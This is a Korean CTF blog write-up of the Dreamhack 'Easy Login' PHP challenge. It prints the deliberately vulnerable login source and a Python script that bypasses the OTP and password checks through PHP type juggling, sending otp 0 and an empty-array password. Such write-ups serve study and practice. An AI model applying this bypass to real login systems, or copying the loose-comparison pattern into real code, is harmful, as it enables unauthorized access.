https://dreamhack.io/wargame/challenges/1213
음 로그인 화면에 OTP도 있다. OTP...일단 문제 파일을 다운 받았다.
<?php
$flag = "testflag";
?>
flag파일은 딱히 뭐가 없다.
<?php
function generatePassword($length) {
$characters = '0123456789abcdef';
$charactersLength = strlen($characters);
$pw = '';
for ($i = 0; $i < $length; $i++) {
$pw .= $characters[random_int(0, $charactersLength - 1)];
}
return $pw;
}
function generateOTP() {
return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}
$admin_pw = generatePassword(32);
$otp = generateOTP();
function login() {
if (!isset($_POST['cred'])) {
echo "Please login...";
return;
}
if (!($cred = base64_decode($_POST['cred']))) {
echo "Cred error";
return;
}
if (!($cred = json_decode($cred, true))) {
echo "Cred error";
return;
}
if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
echo "Cred error";
return;
}
if ($cred['id'] != 'admin') {
echo "Hello," . $cred['id'];
return;
}
if ($cred['otp'] != $GLOBALS['otp']) {
echo "OTP fail";
return;
}
if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
return;
}
echo "Password fail";
return;
}
?>
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<title>Easy Login</title>
</head>
<body>
<div class="login-container">
<h2>Login as admin to get flag<h2>
<form action="login.php" method="post">
<div class="form-group">
<label for="id">ID</label>
<input type="text" name="id"></br>
</div>
<div class="form-group">
<label for="pw">PW</label>
<input type="text" name="pw"></br>
</div>
<div class="form-group">
<label for="otp">OTP</label>
<input type="text" name="otp"></br>
</div>
<button type="submit" class="button">Login</button>
</form>
<div class="message">
<?php login(); ?>
</div>
</div>
</body>
</html>
index 파일을 열어봤다. 굉장히 길어서 잘라서 해석을 해야겠다.
function generatePassword($length) {
$characters = '0123456789abcdef';
$charactersLength = strlen($characters);
$pw = '';
for ($i = 0; $i < $length; $i++) {
$pw .= $characters[random_int(0, $charactersLength - 1)];
}
return $pw;
}
function generateOTP() {
return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}
$admin_pw = generatePassword(32);
$otp = generateOTP();
해석을...하려고 시도는 했으나 도저히 해석을 할 수가 없어서 다른 분들의 풀이를 참고했다.
admin_pw를 [0-9a-f]{32}, $otp는 P[0-9]{6}의 형식으로 무작위 생성을 한다고 한다.
function login() {
if (!isset($_POST['cred'])) {
echo "Please login...";
return;
}
if (!($cred = base64_decode($_POST['cred']))) {
echo "Cred error";
return;
}
if (!($cred = json_decode($cred, true))) {
echo "Cred error";
return;
}
if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
echo "Cred error";
return;
}
if ($cred['id'] != 'admin') {
echo "Hello," . $cred['id'];
return;
}
if ($cred['otp'] != $GLOBALS['otp']) {
echo "OTP fail";
return;
}
if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
return;
}
echo "Password fail";
return;
}
login함수 부분을 보자.
POST 요청으로 cred값을 처리해서 로그인을 수행한다.
그리고 $cred 값을 base64로 디코딩하고 이 디코딩한 값을 json디코딩해서 배열로 저장한다.
json디코딩이라는 것을 처음 들어봤다.
json decode는 json 형식의 문자열을 읽고 해석해서 원래의 데이터 형식으로 변환하는 과정이라고 한다.
마지막 부분에 $cred 배열의 otp필드와 $otp를 비교한다..
$otp는 언제나 P로 시작
->정수를 형변환한 값은 언제나 0
=>$cred['otp']에 정수 0을 대입하면 우회 가능
PHP의 strcmp() 함수는 인자로 문자열만을 받지만, 이외 타입의 값이 제공될 경우 의도하지 않은 동작을 일으킨다. 특히, 인자로 배열이 제공될 때 NULL을 반환하게 된다.
이제 json 및 base64 인코딩하여 플래그를 획득할 수 있다.
파이썬으로 코드를 작성하면 된다고 한다.
import requests # requests 라이브러리 임포트
import json # json 라이브러리 임포트
import base64 # base64 인코딩/디코딩을 위한 라이브러리 임포트
url = 'http://host3.dreamhack.games:0000' # 요청을 보낼 URL 설정
payload = { # 서버로 보낼 데이터 payload 설정
"id": "admin", # 관리자 계정 아이디
"pw": [], # 비밀번호를 빈 리스트로 설정
"otp": 0 # OTP(One Time Password)를 0으로 설정
}
# payload를 JSON 형식으로 인코딩한 후 base64로 다시 인코딩
data = {'cred': base64.b64encode(json.dumps(payload).encode()).decode()}
# POST 요청을 보냄, 데이터는 data 변수에 저장된 값을 사용
resp = requests.post(url, data=data)
print(resp.text) # 서버로부터의 응답을 출력
이제 src 파일 밑에 파이썬 파일을 만들고 이 코드를 입력해주면 된다.
솔직히...다른 분들의 풀이를 봐도 이해하지 못하겠다. 어찌저찌 문제는 풀었지만 이걸 풀었다고 할 수 있을까...
'CTF 문제풀이' 카테고리의 다른 글
web-misconf-1 (0) | 2024.05.22 |
---|---|
드림핵 🌱 simple-web-request (0) | 2024.05.15 |
드림핵 pathtraversal (0) | 2024.05.15 |
드림핵 phpreg (0) | 2024.05.08 |
드림핵 850번 Flying Chars (0) | 2024.05.01 |